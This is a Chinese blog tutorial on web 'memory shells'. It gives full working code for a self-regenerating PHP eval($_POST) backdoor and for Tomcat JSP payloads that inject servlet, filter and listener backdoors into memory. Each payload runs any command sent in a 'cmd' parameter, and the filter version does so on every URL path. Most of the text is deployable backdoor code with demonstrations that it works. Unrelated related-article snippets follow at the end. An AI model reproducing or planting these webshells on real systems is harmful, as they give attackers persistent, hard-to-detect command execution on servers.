31_内存马

news/2025/3/6 2:16:13/

内存马

一、php内存马(不死马)

原不死马文件是生成一个一句话木马文件之后,自动删除自身,并且抑制报错

即使删除生成的一句话木马文件
也会不断的继续生成一句话木马文件

除非重启服务,才能停止继续生成

<?php
error_reporting(0);//抑制报错
@unlink(__FILE__);//删除自身
while (true){file_put_contents('./2022_12_15.php', '<?php eval($_POST[12345]);?>');sleep(5);
}

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
此时我们删除这个文件
在这里插入图片描述
可以看到,又生成一个2022_12_15.php文件,这就是所谓的不死马,在内存中不断循环 写入webshell
在这里插入图片描述

二、java内存马

java web 三大组件servlet listener filter

1. servlet内存马

在这里插入图片描述

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedInputStream" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head><title>$Title$</title>
</head>
<body><%HttpServlet httpServlet = new HttpServlet() {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {InputStream is = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();BufferedInputStream bis = new BufferedInputStream(is);int len;while ((len = bis.read())!=-1){resp.getWriter().write(len);}}@Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {super.doPost(req, resp);}};//获得StandardContextField reqF = request.getClass().getDeclaredField("request");reqF.setAccessible(true);Request req = (Request) reqF.get(request);StandardContext stdcontext = (StandardContext) req.getContext();//从StandardContext.createWapper()获得一个Wapper对象Wrapper newWrapper = stdcontext.createWrapper();String name = httpServlet.getClass().getSimpleName();newWrapper.setName(name);newWrapper.setLoadOnStartup(1);newWrapper.setServlet(httpServlet);newWrapper.setServletClass(httpServlet.getClass().getName());//将Wrapper添加到StandardContextstdcontext.addChild(newWrapper);stdcontext.addServletMappingDecoded("/demo", name);%>

如果没有项目的话,或者原项目无法运行,可以这样新建项目
在这里插入图片描述
然后再创建文件
在这里插入图片描述
在这里插入图片描述

我们运行看看,通过访问/demo?cmd= 要执行的命令
在这里插入图片描述

2. filter内存马

参考文章了解filter:
https://blog.csdn.net/qq_50652600/article/details/127308348
在这里插入图片描述
简单的测试一下filter过滤器的使用

首先,先建立一个filter文件
在这里插入图片描述
然后再doFilter方法这里,随便抄点其他的代码,这里主要就是调试的时候,看是否执行代码

response.setContentType("text/html");
PrintWriter out = response.getWriter();
out.println("<html><body>");
out.println("<h1>" + "hello bihuo15" + "</h1>");
out.println("</body></html>");

在这里插入图片描述
然后是配置web.xml

<filter><filter-name>bihuo15</filter-name><filter-class>com.hello.springtest.Bihuo15Filter</filter-class>
</filter><filter-mapping><filter-name>bihuo15</filter-name><url-pattern>/bihuo15</url-pattern>
</filter-mapping>

在这里插入图片描述
然后打上断点,开启调试
在这里插入图片描述
可以看到,当访问/bihuo15,的时候,成功进入断点
在这里插入图片描述
全部执行完之后,虽然页面上显示404,没有输出什么内容
但是确确实实是进入了我们的filter过滤器里面执行了代码
在这里插入图片描述
那么我们只要将doFIlter方法中的代码替换成执行命令的代码,运行服务器后,就会执行我们想要执行的任何命令
在这里插入图片描述

package com.hello.springtest;import javax.servlet.*;
import javax.servlet.annotation.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.util.Scanner;@WebFilter(filterName = "Bihuo15Filter")
public class Bihuo15Filter implements Filter {public void init(FilterConfig config) throws ServletException {}public void destroy() {}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException {// HelloHttpServletRequest request = (HttpServletRequest) servletRequest;if (request.getParameter("c") != null){String[]  command = new String[]{"cmd.exe", "/c", request.getParameter("c")};InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream();Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");String output = scanner.hasNext() ? scanner.next() : "";servletResponse.getWriter().write(output);servletResponse.getWriter().flush();return;}chain.doFilter(servletRequest, servletResponse);}
}

跟我们设想的是一样的,执行了doFIlter方法中的Runtime.getRuntime().exec
造成了命令执行
在这里插入图片描述

filter马

下面是一个完整的filter内存马,它不需要创建filter过滤器,也不需要修改web.xml,所有集成都在代码里面写着

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%final String name = "bihuo_new";ServletContext servletContext = request.getSession().getServletContext();Field appctx = servletContext.getClass().getDeclaredField("context");appctx.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);Field stdctx = applicationContext.getClass().getDeclaredField("context");stdctx.setAccessible(true);StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");Configs.setAccessible(true);Map filterConfigs = (Map) Configs.get(standardContext);if (filterConfigs.get(name) == null){Filter filter = new Filter() {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {//这里写上我们后门的主要代码HttpServletRequest req = (HttpServletRequest) servletRequest;if (req.getParameter("cmd") != null){byte[] bytes = new byte[10240];Process process = new ProcessBuilder("cmd.exe","/c",req.getParameter("cmd")).start();int len = process.getInputStream().read(bytes);servletResponse.getWriter().write(new String(bytes,0,len));process.destroy();return;}//别忘记带这个，不然的话其他的过滤器可能无法使用filterChain.doFilter(servletRequest,servletResponse);}@Overridepublic void destroy() {}};FilterDef filterDef = new FilterDef();filterDef.setFilter(filter);filterDef.setFilterName(name);filterDef.setFilterClass(filter.getClass().getName());// 将filterDef添加到filterDefs中standardContext.addFilterDef(filterDef);FilterMap filterMap = new FilterMap();//拦截的路由规则，/* 表示拦截任意路由filterMap.addURLPattern("/*");filterMap.setFilterName(name);filterMap.setDispatcher(DispatcherType.REQUEST.name());standardContext.addFilterMapBefore(filterMap);Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);constructor.setAccessible(true);ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);filterConfigs.put(name,filterConfig);out.print("注入成功");}
%>

主要看下代码的这里,filter需要提供一个路径,上面测试用的/bihuo15
这里写的/*,意思访问任意路径都行
在这里插入图片描述
然后就是doFIlter这个核心方法,参数变成了cmd
在这里插入图片描述
知道这两点之后,直接运行一下filter_webshell.jsp文件
显示注入成功

在这里插入图片描述
然后我们就可以访问任意的文件,根据上面的/*,我这里写的haha,参数是cmd
成功命令执行
在这里插入图片描述

3. listener内存马

listener 监听器
参考文章理解listener:
https://blog.csdn.net/weixin_42124497/article/details/114612955
在这里插入图片描述
先创建一个listener
在这里插入图片描述
在contextInitialized方法中,我们输出一句话
然后运行服务器,打印出来了这句话,证明执行了listener监听器的代码
但是这种只能打印一次,换成无痕的浏览器,或者其它浏览器就不会打印了
在这里插入图片描述
我们换到下面得到sessionCreated方法中
发现不同的浏览器,会打印多次
在这里写入内存马,肯定比在上面的方法里面写入要好,可以多次执行

这里因为没有找到合适的代码,所以就先不继续了,web.xml也没配置
其实就和上面的filter一样,先在本地实验了下,然后最后脱离本地,直接用内存马,注入内存中
在这里插入图片描述

listener 马

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %><%!public class MyListener implements ServletRequestListener {public void requestDestroyed(ServletRequestEvent sre) {HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();if (req.getParameter("cmd") != null){InputStream in = null;try {in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();Scanner s = new Scanner(in).useDelimiter("\\A");String out = s.hasNext()?s.next():"";Field requestF = req.getClass().getDeclaredField("request");requestF.setAccessible(true);Request request = (Request)requestF.get(req);request.getResponse().getWriter().write(out);}catch (IOException e) {}catch (NoSuchFieldException e) {}catch (IllegalAccessException e) {}}}public void requestInitialized(ServletRequestEvent sre) {}}
%><%Field reqF = request.getClass().getDeclaredField("request");reqF.setAccessible(true);Request req = (Request) reqF.get(request);StandardContext context = (StandardContext) req.getContext();MyListener listenerDemo = new MyListener();context.addApplicationEventListener(listenerDemo);
%>

先启动服务器,运行listener_webshell.jsp脚本,注入内存
在这里插入图片描述
然后它的访问路径也是任何路径,直接跟cmd参数,命令执行
在这里插入图片描述

4. 总结

总结一下,java内存马,直接运行内存马的代码就可以注入内存,实现命令执行

上面我们的实验,比如说filter实验,都需要先在本地配置filter过滤器,配置web.xml,然后运行特定的url,才可以实习命令执行

但是只需要通过filter内存马,先运行一下内存马,然后注入到了内存中,无需本地创建filter过滤器,无需配置web.xml,就可以实现命令执行

常见的java的内存马就是 servlet内存马、filter内存马、listener内存马
对应的java的三大组件 servlet、filter、listener

还有一个java agent内存马,需要用到冰蝎工具
我放到behinder(冰蝎)那章去总结了


http://www.ppmy.cn/news/493947.html

相关文章

内存超频trfc_阿斯加特洛极W3内存不一般，用垃圾主板，也能超至3900MHz

内存超频trfc_阿斯加特洛极W3内存不一般，用垃圾主板，也能超至3900MHz

只差一点&#xff0c;就把它超到4000Mhz了&#xff0c;可惜主板不给力&#xff0c;不论怎么折腾&#xff0c;都死活上不去&#xff0c;就差100Mhz了。如果换成Z390I主板&#xff0c;我相信就可以轻松超上去了。不得不说&#xff0c;这次的南亚A-die颗粒还是很给力的&#xff0c…
阅读更多...
0011-TIPS-pawnyable : Heap-Overflow

0011-TIPS-pawnyable : Heap-Overflow

原文 Linux Kernel PWN | 040202 Pawnyable之堆溢出 Holstein v2: Heap Overflowの悪用 题目下载 漏洞代码 #include <linux/module.h> #include <linux/kernel.h> #include <linux/cdev.h> #include <linux/fs.h> #include <linux/uaccess.h>…
阅读更多...
Cortext-M3系列：调试组件（9）

Cortext-M3系列：调试组件（9）

1、调试组件简介 在 CM3 中有很多调试组件&#xff0c;使用它们可以执行各种调试功能&#xff1a;断点、数据观察点、闪存地址重载以及各种跟踪等。软件开发人员也许永远无需了解调试组 的细节&#xff0c;因为它们通常只是由调试器及其周边工具使用的。 本文对每种调试组件做一…
阅读更多...
20230620----重返学习-移动端事件处理-响应式

20230620----重返学习-移动端事件处理-响应式

day-095-ninety-five-20230620-移动端事件处理-响应式 移动端事件处理 移动端的事件处理 移动端事件处理 PC端主要以&#xff1a;鼠标事件、键盘事件、资源加载事件、动画事件等事件为主。 其中click在PC端是点击事件&#xff01; 移动端主要以&#xff1a;手指事件&#xf…
阅读更多...
Android DiskLruCache完全解析，硬盘缓存的最佳方案

Android DiskLruCache完全解析，硬盘缓存的最佳方案

概述 LruCache只是管理了内存中图片的存储与释放&#xff0c;如果图片从内存中被移除的话&#xff0c;那么又需要从网络上重新加载一次图片&#xff0c;这显然非常耗时。对此&#xff0c;Google又提供了一套硬盘缓存的解决方案&#xff1a;DiskLruCache(非Google官方编写&…
阅读更多...
求助 ！cru改分辨率锁帧60hz

求助 ！cru改分辨率锁帧60hz

天选二笔记本&#xff0c;玩CSGO没有1280*960分辨率&#xff0c;显卡不支持独显直连&#xff0c;于是用CRU改了分辨率&#xff0c;现在屏幕一卡一卡的不流畅&#xff0c;刷新率从240hz锁的只有64hz&#xff0c;amd显卡驱动也打不开了&#xff0c;我把CRU卸载了也没用&#xff0…
阅读更多...
Python opencv videocapture 网络推流/本地视频播放 获取最新帧 获取最后帧 获取实时帧

Python opencv videocapture 网络推流/本地视频播放 获取最新帧 获取最后帧 获取实时帧

Python opencv videocapture 获取最新帧 获取最后帧 获取实时帧 获取最新图片 关键代码 allcount cap.get(cv2.CAP_PROP_FRAME_COUNT) cap.set(cv2.CAP_PROP_POS_FRAMES,allcount)完整代码 # -*- coding: utf-8 -*- import cv2 import time# 可以是网络推流地址 也可以是本…
阅读更多...
webrtc中音频帧时间戳的打印

webrtc中音频帧时间戳的打印

采集时封装格式AudioFrame:见Channel::ProcessAndEncodeAudioOnTaskQueue() audio_input->timestamp_ _timeStamp; //_timeStamp初始值为 0 _timeStamp static_cast<uint32_t>(audio_input->samples_per_channel_); audio_input->timestamp_的值为采样个数…
阅读更多...
最新文章

Copyright @ 2022~2023